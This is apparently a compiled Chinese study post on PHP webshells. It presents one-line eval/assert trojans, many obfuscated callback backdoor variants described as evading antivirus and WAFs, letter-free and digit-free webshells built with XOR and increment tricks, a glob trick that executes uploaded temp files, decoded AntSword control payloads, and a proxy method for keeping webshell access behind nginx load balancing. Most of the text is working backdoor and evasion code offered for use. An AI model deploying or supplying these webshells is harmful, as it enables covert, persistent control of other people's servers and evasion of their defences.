# php webshell
# eval 与 assert 一句话木马分析
实验环境:
1 | php:5.4.45 |
注意:这小节中使用 php5 作为 php 实验环境,但 php5 和 php7 在一些函数中有改变,会在下一小节详细叙述
# eval 定义和用法
eval () 函数把字符串按照 PHP 代码来计算(计算 = 执行)。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval () 函数返回 false
返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用
# assert 的定义与用法
assert () 功能是判断一个表达式是否成立,返回 true or false,重点是函数会执行此表达式。如果表达式为函数如 assert (“echo (1)”),则会输出 1,而如果 assert (“echo 1;”) 则不会有输出。
assert 把整个字符串参数当 php 代码执行
assert 在 php 中被认为是一个函数
# eval 与 assert 的区别
二者都可以执行 PHP 语句。(eval 规范更加严格一些,必须符合 PHP 代码要求。而 assert 则没有那么严格,执行 PHP 表达式即可。并不是对 assert 无计可施,可以采用 assert_option () 来进行对 assert 的控制)但是在生产环境强烈建议不使用 assert 函数 (哪怕对其限制,也并不安全)。
都常被用来写一句话木马
eval 是一个语言构造器(是 PHP 自身的语言结构)而不是一个函数,不能被可变函数调用;assert 在 php 中被认为是一个函数,能被可变函数调用。
eval 规范更加严格一些,必须符合 PHP 代码要求,assert 则没有那么严格,执行 PHP 表达式即可
# php 可变函数
PHP 支持变量函数:通过变量保存一个函数的名字,然后在变量后跟上一个小括号就能调用。变量函数可以用来编写 webshell 绕过。
1 | <?php |
1 | C语言中文网 |
# php 语法构造器
php 语法构造器不能被可变函数调用
eval 属于 PHP 语法构造的一部分,并不是一个函数,所以不能通过变量函数的形式来调用(虽然她确实像极了函数原型),这样的语法构造还包括:echo,print,unset (),isset (),empty (),include,require 等。换句话说就是 echo,print,unset (),isset (),empty (),include,require 等语言结构不能被可变函数调用。
PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。
print 和 print_r 在 PHP 中都起打印语句的作用, print 属于不能被可变函数调用的那一类, print_r 属于能被可变函数调用的那一类。
1 | $b = 'print_r'; |
1 | print_r 能被可变函数调用 |
eval 和 assert 都可以执行 PHP 语句, eval 属于不能被可变函数调用的那一类, assert 属于能被可变函数调用的那一类。
1 | $c = 'eval'; |
这么看来 eval 其实并不能算是‘函数’,而是 PHP 自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:
1 | <?php |
eval 其实是 Zend 的函数,而 assert 是 PHP_FUNCTION 宏编写的,最后在调用上是不同的。
# 一句话木马的原理
利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过蚁剑等 webshell 工具即可获取和控制整个网站目录。
php 一句话木马:
1 | <?php @eval($_POST['shell']);?> |
@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST [‘shell’] 表示 shell 的取值为 HTTP 的 POST 方式。即通过 eval () 函数执行 shell 里面的内容,并且不报错。
中国蚁剑也同时 post 了 xian 这个数据为 %40ini_set 之类的数据,而我们又必须清楚一点,我们的 eval 函数中参数是字符,assert 函数中参数为表达式 (或者为函数),如:
1 | assert(eval(‘echo 1;’));//类似这样 |
# \_POST\['1'](_POST[‘2’]);
post 传入参数 1=assert&2=phpinfo(); phpinfo () 被执行,证明木马可用
# 连接方式一:


连接密码和下面的 $_POST 中的内容一致,编码可选,不影响连接
payload 分析:
1 | POST /uuuu.php HTTP/1.1 |
urldecode 后的 payload:
1 | 1=assert&2=eval($_POST['shabi'])&shabi=@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "04e9a";echo @asenc($output);echo "d18a2";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
1=assert&2=eval($_POST['shell']) 这部分代码与 $_POST['1']($_POST['2']); 构成了一句话木马。等价于下列的代码:
1 | assert(eval($_POST['shabi'])); |
通过 shabi 这个自己设立的变量传递参数,eval () 会执行 shabi 中参数的内容。
shell=@ini_set(“display_errors”,“0”);@set_time_limit(0);opdir) …(省略)… 就是蚁剑通过 shell 参数传递的参数内容,传递的这些参数是蚁剑能够控制后台的核心代码。
# 连接方式二:

一定需要选择 base64 编码,因为蚁剑在处理 base64 时会做如下处理 @eval(@base64_decode
1 | POST /uuuu.php HTTP/1.1 |
urldeocde
1 | 1=assert&2=@eval(@base64_decode($_POST[_0xe64103ac522dd]));&_0xe64103ac522dd=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7ZnVuY3Rpb24gYXNlbmMoJG91dCl7cmV0dXJuICRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiZTNjNDkiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gIjE1N2IyIjt9b2Jfc3RhcnQoKTt0cnl7JEQ9ZGlybmFtZSgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pO2lmKCREPT0iIikkRD1kaXJuYW1lKCRfU0VSVkVSWyJQQVRIX1RSQU5TTEFURUQiXSk7JFI9InskRH0JIjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJDIiwiWiIpYXMgJEwpaWYoaXNfZGlyKCJ7JEx9OiIpKSRSLj0ieyRMfToiO31lbHNleyRSLj0iLyI7fSRSLj0iCSI7JHU9KGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0ZWdpZCIpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6IiI7JHM9KCR1KT8kdVsibmFtZSJdOkBnZXRfY3VycmVudF91c2VyKCk7JFIuPXBocF91bmFtZSgpOyRSLj0iCXskc30iO2VjaG8gJFI7O31jYXRjaChFeGNlcHRpb24gJGUpe2VjaG8gIkVSUk9SOi8vIi4kZS0+Z2V0TWVzc2FnZSgpO307YXNvdXRwdXQoKTtkaWUoKTs= |
base64decode
1 | @ini_set("display_errors", "0");@set_time_limit(0);function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "e3c49";echo @asenc($output);echo "157b2";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D} ";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.=" ";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.=" {$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die(); |
当我们选择了 base64 编码的情况下蚁剑在连接密码的基础上添加了 eval 语句,并且对传输的变量 _0xe64103ac522dd 进行了 base64 编码,当 php 执行 _0xe64103ac522dd 里面携带的代码时,蚁剑即可获取和控制整个网站目录。
如果不选择 base64 编码那么会变成 0=assert&1=%40ini_set(%22display_errors ,assert 中执行的是函数,因此连接失败
# 不能写成 1=eval&2 这种形式呢
原因是因为 eval 不能被可变函数调用
1 | //Fatal error: Call to undefined function eval() |
总结:
1 | eval函数中参数是字符,如: |
# php7 中的 assert
php5 中 assert 是一个函数,我们可以通过 $f='assert';$f(...); 这样的方法来动态执行任意代码。
但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码

而 eval 终究还是你 eval,永远是语言构造器
1 | eval(string `$code`): |
把字符串 code 作为 PHP 代码执行。
注意:因为是语言构造器而不是函数,不能被 可变函数 或者 命名参数 调用。
PHP: eval - Manual
PHP: assert - Manual
# php 一句话木马变形
php 变量
1 | <?php |
php 变量简单变形 1
1 | <?php |
php 变量简单变形 2
1 | <?php |
PHP 可变变量
1 | <?php |
自定义函数
1 |
|
create_function 函数
1 |
|
call_user_func () 函数
1 |
|
call_user_func () 函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
base64_decode 函数
1 |
|
preg_replace 函数
1 | <?php |
preg_replace 函数一个参数是一个正则表达式,按照 php 的格式,表达式在两个 / 之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php 代码执行。
pares_str 函数
1 | <?php |
执行 pares_str 函数后可以生成一个名为 $a,值为 "assert" 的变量。
str_replace 函数
1 |
|
file_put_contents 函数
利用函数生成木马
1 | <?php |
array 数组
1 | <?php |
上述定义参数 a 并赋值‘assert’, 利用 array_map () 函数将执行语句进行拼接。最终实现 assert($_REQUEST) 。
1 | <?php |
利用函数的组合效果,使得多个参数在传递后组合成一段命令并执行。
"." 操作符
1 | <?php |
利用 script 代替 <? 、?> 标签
1 | <script language="php">@eval_r($_GET[b])</script> |
eval 与 assert 一句话木马分析_共黄昏的博客 - CSDN 博客_php assert 一句话
php 一句话木马变形技巧_bylfsj 的博客 - CSDN 博客_一句话木马 phpinfo
# bypass 各种 waf-php 回调后门
# 0x01 最初的回调后门
php 中 call_user_func 是执行回调函数的标准方法,这也是一个比较老的后门了:
1 | call_user_func('assert', $_REQUEST['pass']); |
这样的后门很容易被查杀,所以我们可以简单做一个变型
1 | call_user_func_array('assert', array($_REQUEST['pass'])); |
call_user_func_array 函数,和 call_user_func 类似,只是第二个参数可以传入参数列表组成的数组。
# 0x02 数组操作造成的单参数回调后门
进一步思考,在平时的 php 开发中,遇到过的带有回调参数的函数绝不止上面说的两个。这些含有回调(callable 类型)参数的函数,其实都有做 “回调后门” 的潜力。
1 | <?php |
array_filter 函数是将数组中所有元素遍历并用指定函数处理过滤用的,如此调用都可以执行
类似 array_filter,array_map 也有同样功效:
1 | <?php |
# 0x03 php5.4.8 + 中的 assert
php 5.4.8 + 后的版本,assert 函数由一个参数,增加了一个可选参数 descrition:
这就增加(改变)了一个很好的 “执行代码” 的方法 assert,这个函数可以有一个参数,也可以有两个参数。那么以前回调后门中有两个参数的回调函数,现在就可以使用了。
比如如下回调后门:
1 | <?php |
同样的道理,这个也是功能类似:
1 | <?php |
再给出这两个函数,面向对象的方法:
1 | <?php |
再来两个类似的回调后门:
1 | <?php |
以上几个都是可以直接菜刀连接的一句话,但目标 PHP 版本在 5.4.8 及以上才可用。
我把上面几个类型归为:二参数回调函数(也就是回调函数的格式是需要两个参数的)
# 0x04 三参数回调函数
有些函数需要的回调函数类型比较苛刻,回调格式需要三个参数。比如 array_walk。
array_walk 的第二个参数是 callable 类型,正常情况下它是格式是两个参数的,但在 0x03 中说了,两个参数的回调后门需要使用 php5.4.8 后的 assert,在 5.3 就不好用了。但这个回调其实也可以接受三个参数,那就好办了:
php 中,可以执行代码的函数:
- 一个参数:assert
- 两个参数:assert (php5.4.8+)
- 三个参数:preg_replace /e 模式
三个参数可以用 preg_replace。所以我这里构造了一个 array_walk + preg_replace 的回调后门:
1 | <?php |
PHP 拥有那么多灵活的函数,稍微改个函数(array_walk_recursive)
1 | <?php |
其实 php 里不止这个函数可以执行 eval 的功能,还有几个类似的:
1 | <?php |
另一个:
1 | <?php |
# 0x05 单参数后门终极奥义
preg_replace、三参数后门虽然好用,但 /e 模式 php5.5 以后就废弃了,不知道哪天就会给删了。所以我觉得还是单参数后门,在各个版本都比较好驾驭。
这里给出几个好用不杀的回调后门
1 | <?php |
这个是 php 全版本支持的,且不报不杀稳定执行:
再来一个:
1 | <?php |
再来两个:
1 | <?php |
这两个是 filter_var 的利用,php 里用这个函数来过滤数组,只要指定过滤方法为回调(FILTER_CALLBACK),且 option 为 assert 即可。
这几个单参数回调后门非常隐蔽,基本没特征
# 0x06 其他参数型回调后门
上面说了,回调函数格式为 1、2、3 参数的时候,可以利用 assert、assert、preg_replace 来执行代码。但如果回调函数的格式是其他参数数目,或者参数类型不是简单字符串,怎么办?
举个例子,php5.5 以后建议用 preg_replace_callback 代替 preg_replace 的 /e 模式来处理正则执行替换,那么其实 preg_replace_callback 也是可以构造回调后门的。
preg_replace_callback 的第二个参数是回调函数,但这个回调函数被传入的参数是一个数组,如果直接将这个指定为 assert,就会执行不了,因为 assert 接受的参数是字符串。
所以我们需要去 “构造” 一个满足条件的回调函数。
怎么构造?使用 create_function:
1 | <?php |
“创造” 一个函数,它接受一个数组,并将数组的第一个元素 $arr [0] 传入 assert。
这也是一个不杀不报稳定执行的回调后门,但因为有 create_function 这个敏感函数,所以看起来总是不太爽。不过也是没办法的事。
类似的,这个也同样:
1 | <?php |
# 一些不包含数字和字母的 webshell
1 | <?php |
核心思路是,将非字母、数字的字符经过各种变换,最后能构造出 a-z 中任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,如 “assert”,然后动态执行之即可。
那么,变换方法 将是解决本题的要点。
不过在此之前,我需要说说 php5 和 7 的差异。
php5 中 assert 是一个函数,我们可以通过 $f='assert';$f(...); 这样的方法来动态执行任意代码。
但 php7 中,assert 不再是函数,变成了一个语言结构(类似 eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用 file_put_contents 函数,同样可以用来 getshell。
# 方法一
这是最简单、最容易想到的方法。在 PHP 中,两个字符串执行异或操作以后,得到的还是一个字符串。所以,我们想得到 a-z 中某个字母,就找到某两个非字母、数字的字符,他们的异或结果是这个字母即可。
1 | <?php |

# 方法二
和方法一有异曲同工之妙,唯一差异就是,方法一使用的是位运算里的 “异或”,方法二使用的是位运算里的 “取反”。
方法二利用的是 UTF-8 编码的某个汉字,并将其中某个字符取出来,比如 '和'{2} 的结果是 "\x8c" ,其取反即为字母 s :

1 | <?php |

这个答案还利用了 PHP 的弱类型特性。因为要获取 '和'{2} ,就必须有数字 2。而 PHP 由于弱类型这个特性,true 的值为 1,故 true+true==2 ,也就是 ('>'>'<')+('>'>'<')==2 。
# 方法三
这就得借助 PHP 的一个小技巧,先看文档: http://php.net/manual/zh/language.operators.increment.php

也就是说, 'a'++ => 'b' , 'b'++ => 'c' … 所以,我们只要能拿到一个变量,其值为 a ,通过自增操作即可获得 a-z 中所有字符。
那么,如何拿到一个值为字符串’a’的变量呢?
巧了,数组(Array)的第一个字母就是大写 A,而且第 4 个字母是小写 a。也就是说,我们可以同时拿到小写和大写 A,等于我们就可以拿到 a-z 和 A-Z 的所有字母。
在 PHP 中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为 Array :

再取这个字符串的第一个字母,就可以获得’A’了。
利用这个技巧,我编写了如下 webshell(因为 PHP 函数是大小写不敏感的,所以我们最终执行的是 ASSERT($_POST[_]) ,无需获取小写 a):
1 | <?php |

# 无字母数字 webshell 之命令执行
1 | <?php |
这道题的限制:
- webshell 长度不超过 35 位
- 除了不包含字母数字,还不能包含
$和_
难点呼之欲出了,我前面文章中给出的所有方法,都用到了 PHP 中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为 $ 不能使用了,所以我们无法构造 PHP 中的变量。
# PHP7 下简单解决问题
PHP7 前是不允许用 ($a)(); 这样的方法来执行动态函数的,但 PHP7 中增加了对此的支持。所以,我们可以通过 ('phpinfo')(); 来执行函数,第一个括号中可以是任意 PHP 表达式。
所以很简单了,构造一个可以生成 phpinfo 这个字符串的 PHP 表达式即可。payload 如下(不可见字符用 url 编码表示):
1 | (~%8F%97%8F%96%91%99%90)(); |
# PHP5 的思考
PHP 自然也能够和操作系统进行交互,“反引号” 就是 PHP 中最简单的执行 shell 的方法。那么,在使用 PHP 无法解决问题的情况下,为何不考虑用 “反引号”+“shell” 的方式来 getshell 呢?
因为反引号不属于 “字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、 $ 的系统命令来 getshell?
好像问题又回到了原点:无字母、数字、 $ ,在 shell 中仍然是一个难题。
此时我想到了两个有趣的 Linux shell 知识点:
- shell 下可以利用
.来执行任意脚本 - Linux 文件名支持用 glob 通配符代替
. 或者叫 period,它的作用和 source 一样,就是用当前的 shell 执行一个文件中的命令。比如,当前运行的 shell 是 bash,则 . file 的意思就是用 bash 执行 file 文件中的命令。
用 . file 执行文件,是不需要 file 有 x 权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用 . 来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的 POST 包,此时 PHP 会将我们上传的文件保存在临时文件夹下,默认的文件名是 /tmp/phpXXXXXX ,文件名最后 6 个字符是随机的大小写字母。
第二个难题接踵而至,执行 . /tmp/phpXXXXXX ,也是有字母的。此时就可以用到 Linux 下的 glob 通配符:
*可以代替 0 个及以上任意字符?可以代表 1 个任意字符
那么, /tmp/phpXXXXXX 就可以表示为 /*/????????? 或 /???/????????? 。
但我们尝试执行 . /???/????????? ,却得到如下错误:

这是因为,能够匹配上 /???/????????? 这个通配符的文件有很多,我们可以列出来:

可见,我们要执行的 /tmp/phpcjggLC 排在倒数第二位。然而,在执行第一个匹配上的文件(即 /bin/run-parts )的时候就已经出现了错误,导致整个流程停止,根本不会执行到我们上传的文件。
其中,glob 支持用 [^x] 的方法来构造 “这个位置不是字符 x”。那么,我们用这个姿势干掉 /bin/run-parts :
[
排除了第 4 个字符是 - 的文件,同样我们可以排除包含 . 的文件:
[
]
现在就剩最后三个文件了。但我们要执行的文件仍然排在最后,但我发现这三个文件名中都不包含特殊字符,那么这个方法似乎行不通了。
继续阅读 glob 的帮助,我发现另一个有趣的用法:
[
]
就跟正则表达式类似,glob 支持利用 [0-9] 来表示一个范围。
我们再来看看之前列出可能干扰我们的文件:
[
所有文件名都是小写,只有 PHP 生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示 “大写字母” 的 glob 通配符,就能精准找到我们要执行的文件。
翻开 ascii 码表,可见大写字母位于 @ 与 [ 之间:
那么,我们可以利用 [@-[] 来表示大写字母:

当然,php 生成临时文件名是随机的,最后一个字符不一定是大写字母,不过多尝试几次也就行了。
最后,我传入的 code 为 ?><?= . /???/???[@-[] ;?> ,发送数据包如下:

无字母数字 webshell 之提高篇 | 离别歌 (leavesongs.com)
一些不包含数字和字母的 webshell | 离别歌 (leavesongs.com)
创造 tips 的秘籍 ——PHP 回调后门 | 离别歌 (leavesongs.com)
# niginx 负载均衡下的 webshell
根据我的老师说,这是一道奇安信四面的原题,确实很有意思,思路很棒
反向代理方式其中比较流行的方式是用 nginx 来做负载均衡。我们先简单的介绍一下 nginx 支持的几种策略:
| 名称 | 策略 |
|---|---|
| 轮询(默认) | 按请求顺序逐一分配 |
| weight | 根据权重分配 |
| ip_hash | 根据客户端 IP 分配 |
| least_conn | 根据连接数分配 |
| fair (第三方) | 根据响应时间分配 |
| url_hash (第三方) | 根据 URL 分配 |
其中 ip_hash、url_hash 这种能固定访问到某个节点的情况,我们也不讨论,跟单机没啥区别么不是。
实验环境:
AntSwordProject/AntSword-Labs: Awesome environment for antsword tests (github.com)
LBSNode1 和 LBSNode2 均存在位置相同的 Shell: ant.jspNode1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。 我们只能通过 nginx 这台机器访问。nginx 的配置如下:
1 | ┌─────────────┐ |
Node1 和 Node2 均是 tomcat 8 ,在内网中开放了 8080 端口,我们在外部是没法直接访问到的。
我们只能通过 nginx 这台机器访问。nginx 的配置如下:
1 | root@68569d913743:/etc/nginx/conf.d# cat default.conf |
安装后运行:
1 | [root@VM-16-11-centos loadbalance-jsp]# docker-compose up -d |
1 | [root@VM-16-11-centos loadbalance-jsp]# docker ps -a |

| Shell | 密码 | 编码器 |
|---|---|---|
http://127.0.0.1:18080/ant.jsp |
ant | default |
使用蚁剑连接

打开虚拟终端
然后连接目标,因为两台节点都在相同的位置存在 ant.jsp,所以连接的时候也没出现什么异常
但是我们会一直在两个节点上轮询

因为没有 ifconfig 和 ip a 命令,使用时需要安装 apt install net-tools ,但是由于负载分担导致需要安装两次
难点一:我们需要在每一台节点的相同位置都上传相同内容的 WebShell
一旦有一台机器上没有,那么在请求轮到这台机器上的时候,就会出现 404 错误,影响使用。是的,这就是你出现一会儿正常,一会儿错误的原因。
难点二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行。
我们执行 ip addr 查看当前执行机器的 ip 时,可以看到一直在飘,因为我们用的是轮询的方式,还算能确定,一旦涉及了权重等其它指标,就让你好好体验一波什么叫飘乎不定。

难点三:当我们需要上传一些工具时,麻烦来了 **:**
由于 antSword 上传文件时,采用的分片上传方式,把一个文件分成了多次 HTTP 请求发送给了目标,所以尴尬的事情来了,两台节点上,各一半,而且这一半到底是怎么组合的,取决于 LBS 算法
难点四:由于目标机器不能出外网,想进一步深入,只能使用 reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
Plan A 关掉其中一台机器 (作死)
是的,首先想到的第一个方案是关机 / 停服,只保留一台机器,因为健康检查机制的存在,很快其它的节点就会被 nginx 从池子里踢出去,那么妥妥的就能继续了。
影响业务,还会造成灾难,直接 Pass 不考虑。(实验环境下,权限够的时候是可以测试可行性的)。
Plan B 执行前先判断要不要执行
我们既然无法预测下一次是哪台机器去执行,那我们的 Shell 在执行 Payload 之前,先判断一下要不要执行不就行了?
以执行命令时 Bash 为例,在执行前判断一下 IP:

Plan C 在 Web 层做一次 HTTP 流量转发 (重点)
没错,我们用 AntSword 没法直接访问 LBSNode1 内网 IP (172.23.0.2) 的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:

我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器。
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx
nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器,接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
1. 创建 antproxy.jsp 脚本

修改转发地址,转向目标 Node 的 内网 IP 的 目标脚本 访问地址。
注意:不仅仅是 WebShell 哟,还可以改成 reGeorg 等脚本的访问地址。
我们将 target 指向了 LBSNode1 的 ant.jsp
1 |
|
a) 不要使用上传功能,上传功能会分片上传,导致分散在不同 Node 上。
b) 要保证每一台 Node 上都有相同路径的 antproxy.jsp, 所以我疯狂保存了很多次,保证每一台都上传了脚本
保存的一些小技巧
比如像改修 127.21.0.3 变为 172.21.0.2,需要连续两次在同一个页面修改为.2,连续保存两次
第二次修改的时候已经是.2 了,你先随便改改,然后改回.2 在保存,这样能省很多事
2. 修改 Shell 配置,将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变

3. 测试执行命令,查看 IP

可以看到 IP 已经固定,意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了。
Node1 和 Node2 交叉着访问 Node1 的 /ant.jsp 文件,符合 nginx 此时的 LBS 策略。
优点:
- 低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
- 流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
- 适配更多工具
缺点:
- 该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了(敲黑板:加固方案快记下来)
如果你的蚁剑不能连接 jsp,那就升级~
负载均衡下的 WebShell 连接 (qq.com)
AntSwordProject/AntSword-Labs: Awesome environment for antsword tests (github.com)
负载均衡反向代理下的 webshell_奋斗的小智的博客 - CSDN 博客